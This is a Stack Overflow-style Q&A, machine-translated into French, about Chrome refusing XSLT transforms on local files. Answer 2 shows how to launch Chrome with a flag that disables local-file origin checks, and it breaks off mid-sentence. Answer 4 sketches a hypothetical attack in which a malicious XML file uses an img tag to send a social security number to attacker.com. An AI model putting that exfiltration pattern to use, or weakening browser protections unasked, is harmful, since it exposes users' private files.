Chrome peut-il effectuer une transformation XSL sur un fichier local?

Question

Je regardais dans xslt et a commencé à tester avec les exemples sur w3schools. Toutefois, lorsque je sauvegarde les fichiers xml et xsl dans des fichiers et que j'essaie de les ouvrir localement, chrome n'effectue pas la transformation xsl. Cela montre juste une page blanche.

J'ai ajouté la balise <?xml-stylesheet type="text/xsl" href="style.xsl"> au document xml, et firefox la restitue telle qu'elle est supposée être. En outre, si je regarde les fichiers via un serveur Web, chrome affiche le fichier comme il est censé regarder.

Est-ce que le chrome a un problème pour trouver les informations de la feuille de style lorsque le lien est local? Changer le href en file:///C:/xsl/style.xsl n'a fait aucune différence.

Mise à jour: Cela semble être un effet secondaire d'une to not treat file:///* as same origin. la politique de sécurité Cela fait apparaître l'erreur suivante dans la console:

tentative non sécuritaire de charger le fichier URL: /// C:/xsl-rpg/style.xsl à partir de l'image avec le fichier URL: /// C: /xsl-rpg/data.xml. Les domaines, les protocoles et les ports doivent correspondre.

Answer 1

La réponse courte est « Non, utilisez l'une des diverse set of browsers là-bas ».

La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a abordé d'une manière controversée ^[1][2][3][4], en bloquant les fichiers XML d'accéder aux fichiers XSLT locaux dans le même répertoire, tandis que les fichiers HTML peut accéder aux fichiers .CSS dans le même répertoire. Pour les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (puisque les domaines, les protocoles et les ports correspondent effectivement), ou au moins affichant le XML sans le style. Les développeurs Chrome ont ignoré ces demandes.

Answer 2

Vous pouvez le faire localement en utilisant les drapeaux de la ligne de commande de Chrome.

Le drapeau spécifique est --allow-file-access-from-files

Sur OS X: de Terminal.app exécuter /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Sous Windows: à partir de la commande promptrun %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Note: Vous devrez probablement quitter Chrome si il est actuellement en cours d'exécution sinon Ch

Answer 3

Si vous voulez coller à l'OP, la réponse est Non (comme d'autres l'ont souligné), mais une façon de résoudre le problème est de lancer un simple serveur Web et ouvrir les fichiers via http en chrome. Si vous avez 2.x python installé, vous pouvez exécuter un serveur web en tapant:

python -m SimpleHTTPServer 

Ou 3.x python:

python3 -m http.server 

puis fichier ouvert à l'aide http://localhost:8000/yourfile.xml en chrome.J'espère que vous voulez juste faire votre travail et ce n'est pas une chose cruciale d'avoir à ouvrir le fichier en utilisant file://

Answer 4

Il a fallu un peu de déchiffrement sur la page Chrome Bug - ils ont très envie de ne pas expliquer le problème, et pourquoi ils ont choisi de casser tout le monde plutôt que de ne pas casser tout le monde.

Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Et une entité malveillante - en quelque sorte - a réussi à déposer un fichier Xml malveillant sur mon ordinateur, par exemple:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imaginez TrojanVirusWorm.xml contient une instruction de traitement de feuille de style (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 

L'attaquant demande alors mon navigateur pour naviguer au fichier trojanVirusWorm.xml enregistré localement.

Apparemment, il y a une façon qu'un fichier XML peut lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 
    <!--And then a miracle happens, and this XML file is able to read 
     the contents of the stylesheet xml file--> 
<html> 
    <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> 
</html> 

Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe Chrome nous assure que c'est un danger, et qu'il ne peut être résolu.

Tous les autres navigateurs l'ont résolu. Ils l'ont résolu because it's not a problem.